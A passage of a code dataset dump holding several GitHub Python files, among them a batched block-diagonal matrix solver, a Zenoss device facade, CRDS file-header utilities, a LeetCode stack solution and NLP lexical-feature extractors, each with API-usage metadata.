R):\n \"\"\"\n Highly inefficient solve where we first convert to a dense tensor\n\n Args:\n J (BidiagonalForwardOperator): matrix operator\n R (torch.tensor): right hand side\n \"\"\"\n return torch.linalg.solve_ex(J.to_diag().to_dense(), R)[0]\n\n def solve_direct(self, J, R):\n \"\"\"\n Solve with a direct factorization\n\n Args:\n J (BidiagonalForwardOperator): matrix operator\n R (torch.tensor): right hand side\n \"\"\"\n M = J.inverse()\n return M(R)\n\n\nclass SquareBatchedBlockDiagonalMatrix:\n \"\"\"\n A batched block diagonal matrix of the type\n\n .. math::\n\n \\\\begin{bmatrix}\n A_1 & B_1 & 0 & 0\\\\\\\\\n C_1 & A_2 & B_2 & 0 \\\\\\\\\n 0 & C_2 & A_3 & B_3\\\\\\\\\n 0 & 0 & C_3 & A_4\n \\\\end{bmatrix}\n\n where the matrix has diagonal blocks of non-zeros and\n can have arbitrary numbers of filled diagonals\n\n Additionally, this matrix is batched.\n\n We use the following sizes:\n - nblk: number of blocks in the each direction\n - sblk: size of each block\n - sbat: batch size\n\n Args:\n data (list of tensors): list of tensors of length ndiag.\n Each tensor\n has shape :code:`(nblk-abs(d),sbat,sblk,sblk)`\n where d is the diagonal number\n provided in the next input\n diags (list of ints): list of ints of length ndiag.\n Each entry gives the diagonal\n for the data in the corresponding\n tensor. These values d can\n range from -(n-1) to (n-1)\n \"\"\"\n\n def __init__(self, data, diags):\n # We will want this in order later\n iargs = np.argsort(diags)\n\n self.data = [data[i] for i in iargs]\n self.diags = [diags[i] for i in iargs]\n\n self.nblk = self.data[0].shape[0] + abs(self.diags[0])\n self.sbat = self.data[0].shape[1]\n self.sblk = self.data[0].shape[-1]\n\n @property\n def dtype(self):\n \"\"\"\n dtype, as reported by the first entry in self.data\n \"\"\"\n return self.data[0].dtype\n\n @property\n def device(self):\n \"\"\"\n device, as reported by the first entry in self.device\n \"\"\"\n return self.data[0].device\n\n @property\n def n(self):\n \"\"\"\n Size of the unbatched square matrix\n \"\"\"\n return self.nblk * self.sblk\n\n @property\n def shape(self):\n \"\"\"\n Logical shape of the dense array\n \"\"\"\n return (self.sbat, self.n, self.n)\n\n @property\n def nnz(self):\n \"\"\"\n Number of logical non-zeros (not counting the batch dimension)\n \"\"\"\n return sum(\n self.data[i].shape[0] * self.sblk * self.sblk\n for i in range(len(self.diags))\n )\n\n def to_dense(self):\n \"\"\"\n Convert the representation to a dense tensor\n \"\"\"\n A = torch.zeros(*self.shape, dtype=self.dtype, device=self.device)\n\n # There may be a more clever way than for loops, but for now\n for d, data in zip(self.diags, self.data):\n for k in range(self.nblk - abs(d)):\n if d <= 0:\n i = k - d\n j = k\n else:\n i = k\n j = k + d\n A[\n :,\n i * self.sblk : (i + 1) * self.sblk,\n j * self.sblk : (j + 1) * self.sblk,\n ] = data[k]\n\n return A\n\n def to_batched_coo(self):\n \"\"\"\n Convert to a torch sparse batched COO tensor\n\n This is done in a weird way. torch recognizes \"batch\" dimensions at\n the start of the tensor and \"dense\" dimensions at the end (with \"sparse\"\n dimensions in between). batch dimensions can/do have difference indices,\n dense dimensions all share the same indices. We have the latter situation\n so this is setup as a tensor with no \"batch\" dimensions, 2 \"sparse\" dimensions,\n and 1 \"dense\" dimension. So it will be the transpose of the shape of the\n to_dense function.\n \"\"\"\n inds = torch.zeros(2, self.nnz)\n data = torch.zeros(self.nnz, self.sbat, dtype=self.dtype, device=self.device)\n\n # Order doesn't matter, nice!\n c = 0\n chunk = self.sblk * self.sblk\n for d, bdata in zip(self.diags, self.data):\n for i in range(bdata.shape[0]):\n data[c : c + chunk] = bdata[i].flatten(start_dim=1).t()\n\n offset = (i + abs(d)) * self.sblk\n\n if d < 0:\n roffset = offset\n coffset = i * self.sblk\n else:\n roffset = i * self.sblk\n coffset = offset\n\n inds[0, c : c + chunk] = (\n torch.repeat_interleave(\n torch.arange(\n 0, self.sblk, dtype=torch.int64, device=self.device\n ).unsqueeze(-1),\n self.sblk,\n -1,\n ).flatten()\n + roffset\n )\n inds[1, c : c + chunk] = (\n torch.repeat_interleave(\n torch.arange(\n 0, self.sblk, dtype=torch.int64, device=self.device\n ).unsqueeze(0),\n self.sblk,\n 0,\n ).flatten()\n + coffset\n )\n\n c += chunk\n\n return torch.sparse_coo_tensor(\n inds,\n data,\n dtype=self.dtype,\n device=self.device,\n size=(self.n, self.n, self.sbat),\n ).coalesce()\n\n def to_unrolled_csr(self):\n \"\"\"\n Return a list of CSR tensors with length equal to the batch size\n\n \"\"\"\n coo = self.to_batched_coo()\n return [\n torch.sparse_coo_tensor(coo.indices(), coo.values()[:, i]).to_sparse_csr()\n for i in range(self.sbat)\n ]\n", "repo_name": "Argonne-National-Laboratory/pyoptmat", "sub_path": "pyoptmat/chunktime.py", "file_name": "chunktime.py", "file_ext": "py", "file_size_in_byte": 21638, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.norm", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.any", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 53, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.linalg.lu_factor_ex", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 151, "usage_type": "attribute"}, {"api_name": "torch.linalg.lu_solve", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 186, "usage_type": "attribute"}, {"api_name": "torch.linalg.lu_solve", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 188, "usage_type": "attribute"}, {"api_name": "torch.bmm", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.nn.functional.pad", "line_number": 232, "usage_type": "call"}, {"api_name": "torch.linalg.lu_solve", "line_number": 243, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 243, "usage_type": "attribute"}, {"api_name": "pyoptmat.utility.mbmm", "line_number": 266, "usage_type": "call"}, {"api_name": "torch.linalg.lu_solve", "line_number": 267, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 267, "usage_type": "attribute"}, {"api_name": "pyoptmat.utility.mbmm", "line_number": 271, "usage_type": "call"}, {"api_name": "torch.linalg.lu_solve", "line_number": 273, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 273, "usage_type": "attribute"}, {"api_name": "math.floor", "line_number": 301, "usage_type": "call"}, {"api_name": "math.log2", "line_number": 301, "usage_type": "call"}, {"api_name": "math.prod", "line_number": 325, "usage_type": "call"}, {"api_name": "torch.nn.functional.pad", "line_number": 358, "usage_type": "call"}, {"api_name": "torch.linalg.lu_solve", "line_number": 375, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 375, "usage_type": "attribute"}, {"api_name": "torch.linalg.lu_solve", "line_number": 382, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 382, "usage_type": "attribute"}, {"api_name": "torch.bmm", "line_number": 385, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 468, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 469, "usage_type": "call"}, {"api_name": "torch.linalg.solve_ex", "line_number": 523, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 523, "usage_type": "attribute"}, {"api_name": "numpy.argsort", "line_number": 575, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 626, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 657, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 658, "usage_type": "call"}, {"api_name": "torch.repeat_interleave", "line_number": 677, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 678, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 679, "usage_type": "attribute"}, {"api_name": "torch.repeat_interleave", "line_number": 687, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 688, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 689, "usage_type": "attribute"}, {"api_name": "torch.sparse_coo_tensor", "line_number": 699, "usage_type": "call"}, {"api_name": "torch.sparse_coo_tensor", "line_number": 714, "usage_type": "call"}]} {"seq_id": "37353847491", "text": "import os\r\nimport logging\r\nlog = logging.getLogger('zen.ExampleDeviceFacade')\r\n\r\nfrom zope.interface import implements\r\n\r\nfrom Products.Zuul.facades import ZuulFacade\r\nfrom Products.Zuul.utils import ZuulMessageFactory as _t\r\n\r\nfrom .interfaces import IExampleDeviceFacade\r\nfrom .interfaces import ImyAppFacade\r\n\r\n# The ZuulFacade class name, ExampleDeviceFacade, must match the name specified\r\n# in the factory field of an adapter stanza in configure.zcml\r\n# ie. ExampleDeviceFacade \r\n#\r\n# The implements line must match that specified in the same adapter's \"provides\" field\r\n# and in interfaces.py, must match the IFacade class defined there ( ie. IExampleDeviceFacade )\r\n\r\nclass ExampleDeviceFacade(ZuulFacade):\r\n implements(IExampleDeviceFacade)\r\n\r\n# The method name add_ExampleDevice and its parameters must match those defined in\r\n# interfaces.py and routers.py \r\n# It is the following method that ACTUALLY does the work of adding a device\r\n\r\n def add_ExampleDevice(self, deviceIp, community, comment):\r\n \"\"\"Add a device of class ExampleDevice \"\"\"\r\n\r\n deviceRoot = self._dmd.getDmdRoot(\"Devices\")\r\n device = deviceRoot.findDeviceByIdExact(deviceIp)\r\n if device:\r\n return False, _t(\"A device named %s already exists.\" % deviceIp)\r\n\r\n zProperties = {\r\n 'zSnmpCommunity': community,\r\n 'zPythonClass': 'ZenPacks.skills1st.MenuExamples.ExampleDevice',\r\n }\r\n\r\n perfConf = self._dmd.Monitors.getPerformanceMonitor('localhost')\r\n \r\n # addDeviceCreationJob is a method defined in $ZENHOME/Products/ZenModel/PerformanceConf.py\r\n # Parameters here are not exhustive. discoverProto='snmp' ensures device is modeled as well\r\n # as discovered into the Zope database\r\n\r\n jobStatus = perfConf.addDeviceCreationJob(\r\n deviceName=deviceIp,\r\n devicePath='/Example/TestClass',\r\n discoverProto='snmp',\r\n comments=comment,\r\n zProperties=zProperties)\r\n\r\n return True, jobStatus.id\r\n\r\n\r\nclass myAppFacade(ZuulFacade):\r\n implements(ImyAppFacade)\r\n\r\n\r\n # Note that the the facade function, myFacadeFunc has 3 parameters\r\n # The object is passed in addition to the comment and rackSlot\r\n\r\n def myFacadeFunc(self, ob, comments, rackSlot):\r\n \"\"\" Modifies comments and rackSlot attributes for a device \"\"\"\r\n\r\n ob.comments = comments\r\n ob.rackSlot = rackSlot\r\n \r\n return True, _t(\" Comments and rackSlot attributes set for device %s\" % (ob.id))\r\n\r\n", "repo_name": "jcurry/ZenPacks.skills1st.MenuExamples", "sub_path": "ZenPacks/skills1st/MenuExamples/facades.py", "file_name": "facades.py", "file_ext": "py", "file_size_in_byte": 2563, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 3, "usage_type": "call"}, {"api_name": "Products.Zuul.facades.ZuulFacade", "line_number": 20, "usage_type": "name"}, {"api_name": "zope.interface.implements", "line_number": 21, "usage_type": "call"}, {"api_name": "interfaces.IExampleDeviceFacade", "line_number": 21, "usage_type": "argument"}, {"api_name": "Products.Zuul.utils.ZuulMessageFactory", "line_number": 33, "usage_type": "call"}, {"api_name": "Products.Zuul.facades.ZuulFacade", "line_number": 56, "usage_type": "name"}, {"api_name": "zope.interface.implements", "line_number": 57, "usage_type": "call"}, {"api_name": "interfaces.ImyAppFacade", "line_number": 57, "usage_type": "argument"}, {"api_name": "Products.Zuul.utils.ZuulMessageFactory", "line_number": 69, "usage_type": "call"}]} {"seq_id": "37137466857", "text": "'''\nThis module defines the generic functions and abstract class used to manage\nfile access in CRDS.\n'''\nfrom collections.abc import Mapping\nimport functools\nimport warnings\nimport re\n\n# ================================================================================================\n\nimport datetime\nfrom astropy.time import Time\n\n# ================================================================================================\n\n# from astropy.utils.exceptions import AstropyUserWarning # deferred\n\n# ================================================================================================\n\nfrom crds.core import exceptions, config, log, utils, timestamp\n\n# ================================================================================================\n\nDUPLICATES_OK = [\"COMMENT\", \"HISTORY\", \"NAXIS\",\"EXTNAME\",\"EXTVER\"]\nAPPEND_KEYS = [\"COMMENT\", \"HISTORY\"]\n\n# ===========================================================================\n\n# The point of hijack_warnings is to remap warnings from other packages to CRDS\n# so that they are counted and logged and visible in web output.\n# NOTE: hijack_warnings needs to be nestable\n# XXX: hijack_warnings is non-reentrant and FAILS with THREADS\n\ndef hijack_warnings(func):\n \"\"\"Decorator that redirects warning messages to CRDS warnings.\"\"\"\n @functools.wraps(func)\n def wrapper(*args, **keys):\n \"\"\"Reassign warnings to CRDS warnings prior to executing `func`, restore\n warnings state afterwards and return result of `func`.\n \"\"\"\n # warnings.resetwarnings()\n from astropy.utils.exceptions import AstropyUserWarning\n with warnings.catch_warnings():\n old_showwarning = warnings.showwarning\n warnings.showwarning = hijacked_showwarning\n warnings.simplefilter(\"always\", AstropyUserWarning)\n try:\n from stdatamodels.validate import ValidationWarning\n except:\n log.verbose_warning(\n \"stdatamodels ValidationWarning import failed. \"\n \"Not a problem for HST.\",\n verbosity=70)\n else:\n warnings.filterwarnings(\"always\", r\".*\", ValidationWarning, r\".*jwst.*\")\n if not config.ALLOW_SCHEMA_VIOLATIONS:\n warnings.filterwarnings(\"error\", r\".*is not one of.*\", ValidationWarning, r\".*jwst.*\")\n try:\n result = func(*args, **keys)\n finally:\n warnings.showwarning = old_showwarning\n return result\n return wrapper\n\ndef hijacked_showwarning(message, category, filename, lineno, *args, **keys):\n \"\"\"Map the warnings.showwarning plugin function parameters onto log.warning.\"\"\"\n try:\n scat = str(category).split(\".\")[-1].split(\"'\")[0]\n except Exception:\n scat = category\n try:\n sfile = str(filename).split(\".egg\")[-1].split(\"site-packages\")[-1].replace(\"/\",\".\").replace(\".py\", \"\")\n while sfile.startswith((\"/\",\".\")):\n sfile = sfile[1:]\n except Exception:\n sfile = filename\n message = str(message).replace(\"\\n\",\"\")\n log.warning(scat, \":\", sfile, \":\", message)\n\n# ----------------------------------------------------------------------------------------------\n#\n# Cross-strapping is used to support different synonyms for the same keyword:\n#\n# FITS\n# JWST data model dotted path\n# Ad hoc names appearing in un-modeled reference files\n#\n# It's complicated because of inconsistent support for data model nomenclature both\n# within and between projects; it's currently a JWST-only concept but is implemented\n# in a pluggable way.\n#\n# For \"un-modeled\" references or if the decision is made to drop datamodels use, each\n# observatories locator module can define CROSS_STRAPPED_KEYWORDS. See an example, jwst.\n#\n# For projects supporting the datamodels, the schema is used to define the correspondence\n# between data model dotted paths and the keyword of the underlying file format.\n#\ndef cross_strap_header(header):\n \"\"\"Set up keyword equivalencies in a copy of `header`. Ensure both FITS\n and datamodel dotted path variants are defined for each keyword.\n Also add variations defined by observatory locator module\n CROSS_STRAPPED_KEYWORDS.\n \"\"\"\n crossed = dict(header)\n try:\n locator = utils.header_to_locator(header)\n except Exception:\n log.verbose_warning(\n \"Cannot identify observatory from header. Skipping keyword aliasing\")\n return crossed\n equivalency_pairs = locator.get_cross_strapped_pairs(header)\n for pair in equivalency_pairs:\n _cross_strap_pair(crossed, pair)\n return crossed\n\ndef equivalence_dict_to_pairs(equivalent_keywords_dict):\n \"\"\"Convert a dictionary mapping master keywords to equivalents to\n a list of keyword pairs that should be cross-strapped.\n \"\"\"\n pairs = []\n log.verbose(\"Explicitly cross_strapped_keywords:\",\n log.PP(equivalent_keywords_dict), verbosity=90)\n for master, slaves in equivalent_keywords_dict.items():\n for slave in slaves:\n if master != slave:\n pairs.append((master, slave))\n pairs.append((slave, master))\n return pairs\n\n\ndef _cross_strap_pair(header, keyword_pair):\n \"\"\"Mutate `header` using (master, slave) `keyword_pair` so that slave\n duplicates master's value under slave's name IFF master is defined\n in header and slave is not.\n \"\"\"\n master_key, slave_key = keyword_pair\n master_val = header.get(master_key, \"UNDEFINED\")\n slave_val = header.get(slave_key, \"UNDEFINED\")\n if slave_val == \"UNDEFINED\" and master_val != \"UNDEFINED\":\n header[slave_key] = master_val\n\n# ----------------------------------------------------------------------------------------------\n\ndef convert_to_eval_header(header):\n \"\"\"To support using file headers in eval expressions, two changes need to be made:\n\n 1. JWST data model keywords, dotted paths, need to be translated to underscored paths.\n This makes them valid identifiers instead of non-existent nested objects when evaled.\n\n 2. Numerial values that CRDS has conditioned into strings need to be converted back to\n numerical values so they can be used in arithmetic expressions.\n \"\"\"\n header = _destringize_numbers(header)\n header = _convert_dotted_paths(header)\n return header\n\ndef _destringize_numbers(header):\n \"\"\"Convert string values in `header` that work as numbers back into\n ints and floats.\n \"\"\"\n with_numbers = {}\n for key, val in header.items():\n try:\n val = int(val)\n except:\n try:\n val = float(val)\n except:\n pass\n with_numbers[key] = val\n return with_numbers\n\ndef _convert_dotted_paths(header):\n \"\"\"Convert header dotted-path keys into valid Python identifiers\n (for eval()) by using underscores instead of periods and add to\n existing contents of `header`.\n \"\"\"\n cleaned = dict(header)\n for key, val in header.items():\n clean = re.sub(r\"([A-Za-z][A-Za-z0-9_]*)\\.\", r\"\\1_\", key)\n cleaned[clean] = val\n return cleaned\n\n# ----------------------------------------------------------------------------------------------\n\ndef ensure_keys_defined(header, needed_keys=(), define_as=\"UNDEFINED\"):\n \"\"\"Define any keywords from `needed_keys` which are missing in `header`, or defined as 'UNDEFINED',\n as `default`.\n\n Normally this defines missing keys as UNDEFINED.\n\n It can be used to redefine UNDEFINED as something else, like N/A.\n \"\"\"\n header = dict(header)\n for key in needed_keys:\n if key not in header or header[key] in [\"UNDEFINED\", None]:\n header[key] = define_as\n return header\n\n# ================================================================================================\n\nclass AbstractFile:\n\n format = \"ABSTRACT\"\n\n def __init__(self, filepath, original_name=None, observatory=None):\n \"\"\"Create an AbstractFile.\n\n Required for use:\n\n filepath working path for this file\n\n Retained for debug:\n\n original_name abstract, possibly more readable name to infer type and observatory w/o io\n observatory observatory this file belongs to\n \"\"\"\n # This __init__ should be kept fast\n self.filepath = filepath\n self.original_name = original_name\n self.observatory = observatory\n self.array_formats = {}\n\n def _unsupported_file_op_error(self, method):\n return exceptions.UnsupportedFileOpError(\n \"Method\", repr(method), \"is not supported for file format\", repr(self.format))\n\n def add_checksum(self):\n \"\"\"Add checksum to`self.filepath`.\"\"\"\n raise self._unsupported_file_op_error(\"add_checksum\")\n\n def remove_checksum(self):\n \"\"\"Remove checksum from`self.filepath`.\"\"\"\n raise self._unsupported_file_op_error(\"remove_checksum\")\n\n def verify_checksum(self):\n \"\"\"Verify checksum in `self.filepath`.\"\"\"\n raise self._unsupported_file_op_error(\"verify_checksum\")\n\n def get_format(self):\n \"\"\"Return a string describing the structure of file at `filepath`, intended\n for file overview describing generic array structure.\n \"\"\"\n raise self._unsupported_file_op_error(\"get_format\")\n\n def get_array_properties(self, array_name, keytype=\"A\"):\n \"\"\"Return a basic properties dictionary for array named `array_name`.\"\"\"\n raise self._unsupported_file_op_error(\"get_array_properties\")\n\n def get_array(self, array_name):\n \"\"\"Return the array object corresponding to array selected by `array_id_info`.\"\"\"\n raise self._unsupported_file_op_error(\"get_array\")\n\n # ----------------------------------------------------------------------------------------------\n\n def getval(self, key, **keys):\n \"\"\"Return a single metadata value from `key` of file at `filepath`.\"\"\"\n return self.get_header((key,), **keys)[key]\n\n def setval(self, key, value):\n \"\"\"Set the value of a single metadata key, nominally in the 'primary header'.\"\"\"\n raise self._unsupported_file_op_error(\"setval\")\n\n # ----------------------------------------------------------------------------------------------\n\n def get_header(self, needed_keys, **keys):\n \"\"\"Return dictionary of metadata for this file, e.g. FITS primary header\n dictionary featuring keywords `needed_keys`.\n \"\"\"\n raw_header = self.get_raw_header(needed_keys, **keys)\n reduced_header = self._reduce_header(raw_header, needed_keys)\n crossed_header = cross_strap_header(reduced_header)\n crossed_header[\"FILE_FORMAT\"] = \\\n self.__class__.__name__[:-len(\"File\")].upper()\n return crossed_header\n\n def get_raw_header(self, needed_keys, **keys):\n \"\"\"Return the metadata dictionary associated with this file, nominally a dict\n describing the FITS header, ASDF tree, or JSON or YAML contents.\n \"\"\"\n raise self._unsupported_file_op_error(\"get_raw_header\")\n # ----------------------------------------------------------------------------------------------\n\n def _reduce_header(self, old_header, needed_keys=()):\n \"\"\"Limit `header` to `needed_keys`, converting all keys to upper case\n and making note of any significant duplicates, and adding any missing\n `needed_keys` as UNDEFINED.\n\n To detect duplicates, use an item list for `old_header`, not a dict.\n \"\"\"\n needed_keys = tuple(key.upper() for key in needed_keys)\n header = {}\n if isinstance(old_header, dict):\n old_header = old_header.items()\n for (key, value) in old_header:\n key = str(key).upper()\n value = str(value)\n if (not needed_keys) or key in needed_keys:\n if key in header and header[key] != value:\n if key not in DUPLICATES_OK:\n log.verbose_warning(\"Duplicate key\", repr(key), \"in\", repr(self.filepath),\n \"using\", repr(header[key]), \"not\", repr(value), verbosity=70)\n continue\n elif key in APPEND_KEYS:\n header[key] += \"\\n\" + value\n else:\n header[key] = value\n return ensure_keys_defined(header, needed_keys)\n\n # ----------------------------------------------------------------------------------------------\n\n def to_simple_types(self, tree):\n \"\"\"Convert a tree structure to a flat dictionary of simple types with dotted path tree keys.\"\"\"\n result = dict()\n for key in tree:\n if not isinstance(key, str): # skip non-string keys\n continue\n value = tree[key]\n if isinstance(value, Mapping):\n nested = self.to_simple_types(value)\n for nested_key, nested_value in nested.items():\n result[str(key.upper() + \".\" + nested_key)] = nested_value\n else:\n result[str(key.upper())] = self._simple_type(value)\n return result\n\n def _simple_type(self, value):\n \"\"\"Convert ASDF values to simple strings, where applicable, exempting potentially large values.\"\"\"\n if isinstance(value, (str, int, float, complex)):\n rval = str(value)\n elif isinstance(value, (list, tuple)):\n rval = tuple(self._simple_type(val) for val in value)\n elif isinstance(value, (datetime.datetime, Time)):\n rval = timestamp.reformat_date(value).replace(\" \", \"T\")\n else:\n rval = \"SUPRESSED_NONSTD_TYPE: \" + repr(str(value.__class__.__name__))\n return rval\n\n def get_asdf_standard_version(self):\n \"\"\"\n Return the ASDF Standard version associated with this file as a string,\n or `None` if the file is neither an ASDF file nor contains an embedded\n ASDF file.\n \"\"\"\n return None\n", "repo_name": "spacetelescope/crds", "sub_path": "crds/io/abstract.py", "file_name": "abstract.py", "file_ext": "py", "file_size_in_byte": 14103, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "78", "api": [{"api_name": "warnings.catch_warnings", "line_number": 44, "usage_type": "call"}, {"api_name": "warnings.showwarning", "line_number": 45, "usage_type": "attribute"}, {"api_name": "warnings.showwarning", "line_number": 46, "usage_type": "attribute"}, {"api_name": "warnings.simplefilter", "line_number": 47, "usage_type": "call"}, {"api_name": "astropy.utils.exceptions.AstropyUserWarning", "line_number": 47, "usage_type": "argument"}, {"api_name": "crds.core.log.verbose_warning", "line_number": 51, "usage_type": "call"}, {"api_name": "crds.core.log", "line_number": 51, "usage_type": "name"}, {"api_name": "warnings.filterwarnings", "line_number": 56, "usage_type": "call"}, {"api_name": "stdatamodels.validate.ValidationWarning", "line_number": 56, "usage_type": "argument"}, {"api_name": "crds.core.config.ALLOW_SCHEMA_VIOLATIONS", "line_number": 57, "usage_type": "attribute"}, {"api_name": "crds.core.config", "line_number": 57, "usage_type": "name"}, {"api_name": "warnings.filterwarnings", "line_number": 58, "usage_type": "call"}, {"api_name": "stdatamodels.validate.ValidationWarning", "line_number": 58, "usage_type": "argument"}, {"api_name": "warnings.showwarning", "line_number": 62, "usage_type": "attribute"}, {"api_name": "functools.wraps", "line_number": 37, "usage_type": "call"}, {"api_name": "crds.core.log.warning", "line_number": 79, "usage_type": "call"}, {"api_name": "crds.core.log", "line_number": 79, "usage_type": "name"}, {"api_name": "crds.core.utils.header_to_locator", "line_number": 107, "usage_type": "call"}, {"api_name": "crds.core.utils", "line_number": 107, "usage_type": "name"}, {"api_name": "crds.core.log.verbose_warning", "line_number": 109, "usage_type": "call"}, {"api_name": "crds.core.log", "line_number": 109, "usage_type": "name"}, {"api_name": "crds.core.log.verbose", "line_number": 122, "usage_type": "call"}, {"api_name": "crds.core.log", "line_number": 122, "usage_type": "name"}, {"api_name": "crds.core.log.PP", "line_number": 123, "usage_type": "call"}, {"api_name": "crds.core.log", "line_number": 123, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 181, "usage_type": "call"}, {"api_name": "crds.core.exceptions.UnsupportedFileOpError", "line_number": 226, "usage_type": "call"}, {"api_name": "crds.core.exceptions", "line_number": 226, "usage_type": "name"}, {"api_name": "crds.core.log.verbose_warning", "line_number": 302, "usage_type": "call"}, {"api_name": "crds.core.log", "line_number": 302, "usage_type": "name"}, {"api_name": "collections.abc.Mapping", "line_number": 320, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 334, "usage_type": "attribute"}, {"api_name": "astropy.time.Time", "line_number": 334, "usage_type": "name"}, {"api_name": "crds.core.timestamp.reformat_date", "line_number": 335, "usage_type": "call"}, {"api_name": "crds.core.timestamp", "line_number": 335, "usage_type": "name"}]} {"seq_id": "72685172384", "text": "from typing import List\n\n\nclass Solution:\n def exclusiveTime(self, n: int, logs: List[str]) -> List[int]:\n \"\"\"\n Stack\n\n https://leetcode.com/problems/exclusive-time-of-functions/solution/\n https://leetcode.com/problems/exclusive-time-of-functions/discuss/105100/Python-Straightforward-with-Explanation\n \"\"\"\n exclusive_times = [0] * n\n\n stack = [] # keep track of the \"current function\"\n prev_t = 0\n\n for log in logs:\n index, op, t = log.split(':')\n index = int(index)\n t = int(t)\n\n # Don't have to do like this\n # We don't care if the index of function is equal to current one\n # We just settle the time\n # if stack and stack[-1][0] == index:\n # exclusive_times\n\n if op == 'start':\n if stack:\n exclusive_times[stack[-1]] += t - prev_t\n stack.append(index)\n prev_t = t\n else:\n exclusive_times[stack.pop()] += t - prev_t + 1\n prev_t = t + 1\n\n return exclusive_times\n\n# Runtime: 80 ms, faster than 30.60% of Python3 online submissions for Exclusive Time of Functions.\n# Memory Usage: 14.5 MB, less than 100.00% of Python3 online submissions for Exclusive Time of Functions.\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Python3/AdHoc/ExclusiveTimeOfFunctions/Naive636.py", "file_name": "Naive636.py", "file_ext": "py", "file_size_in_byte": 1353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}]} {"seq_id": "9341268872", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 15 11:16:36 2016\n\n@author: admin\n\"\"\"\nfrom infodens.feature_extractor.feature_extractor import featid, Feature_extractor\nfrom scipy import sparse\nimport argparse\n\n\nclass Lexical_features(Feature_extractor):\n \n def computeDensity(self, taggedSentences, jnrv):\n\n densities = []\n for sent in taggedSentences:\n if len(sent) is 0:\n densities.append(0)\n else:\n jnrvList = [tagPOS for tagPOS in sent if tagPOS in jnrv]\n densities.append(float(len(sent) - len(jnrvList)) / len(sent))\n\n return sparse.lil_matrix(densities).transpose()\n\n def parsePOSArgs(self, args):\n\n parser = argparse.ArgumentParser(description='Lexical density args')\n parser.add_argument(\"-pos_train\", help=\"Path for POS tagged train sentences.\",\n type=str, default=\"\")\n parser.add_argument(\"-pos_test\", help=\"Path for POS tagged test sentences.\",\n type=str, default=\"\")\n parser.add_argument(\"-pos_tags\", help=\"Comma separated list of POS tags.\",\n type=str, default=\"\")\n\n argsOut = parser.parse_args(args.split())\n return argsOut.pos_train, argsOut.pos_test, argsOut.pos_tags.split(\",\")\n\n @featid(3) \n def lexicalDensity(self, argString, preprocessReq=0):\n trainPOS, testPOS, jnrv = self.parsePOSArgs(argString)\n\n if preprocessReq:\n # Request all preprocessing functions to be prepared\n self.preprocessor.getPOStagged(trainPOS)\n self.testPreprocessor.getPOStagged(testPOS)\n return 1\n\n '''\n The frequency of tokens that are not nouns, adjectives, adverbs or verbs. \n This is computed by dividing the number of tokens tagged with POS tags \n that do not start with J, N, R or V by the number of tokens in the chunk\n '''\n trainLexDens = self.computeDensity(self.preprocessor.getPOStagged(trainPOS), jnrv)\n testLexDens = self.computeDensity(self.testPreprocessor.getPOStagged(testPOS), jnrv)\n\n return trainLexDens, testLexDens, \"Lexical density\"\n\n def getLexicalRichness(self, sents):\n sentRichness = []\n for sentence in sents:\n if len(sentence) is 0:\n sentRichness.append(0)\n else:\n sentRichness.append(float(len(set(sentence)))/len(sentence))\n return sparse.lil_matrix(sentRichness).transpose()\n\n @featid(11)\n def lexicalRichness(self, argString, preprocessReq=0):\n '''\n The ratio of unique tokens in the sentence over the sentence length.\n '''\n\n if preprocessReq:\n # Request all preprocessing functions to be prepared\n self.testPreprocessor.gettokenizeSents()\n self.preprocessor.gettokenizeSents()\n return 1\n\n #TODO : Lemmatize tokens?\n trainSentRichness = self.getLexicalRichness(self.preprocessor.gettokenizeSents())\n testSentRichness = self.getLexicalRichness(self.testPreprocessor.gettokenizeSents())\n\n return trainSentRichness, testSentRichness, \"Type token ratio\"\n\n def getLexicalToTokens(self, sents, lexicalTags):\n\n lexicalTokensRatio = []\n for sentence in sents:\n lexicalCount = 0\n for tagPOS in sentence:\n if tagPOS in lexicalTags:\n lexicalCount += 1\n if len(sentence) is 0:\n lexicalTokensRatio.append(0)\n else:\n lexicalTokensRatio.append(float(lexicalCount) / len(sentence))\n\n return sparse.lil_matrix(lexicalTokensRatio).transpose()\n\n @featid(12)\n def lexicalToTokens(self, argString, preprocessReq=0):\n '''\n The ratio of lexical words to tokens in the sentence.\n '''\n trainPOS, testPOS, lexicalTags = self.parsePOSArgs(argString)\n\n if preprocessReq:\n # Request all preprocessing functions to be prepared\n self.preprocessor.getPOStagged(trainPOS)\n self.testPreprocessor.getPOStagged(testPOS)\n return 1\n\n 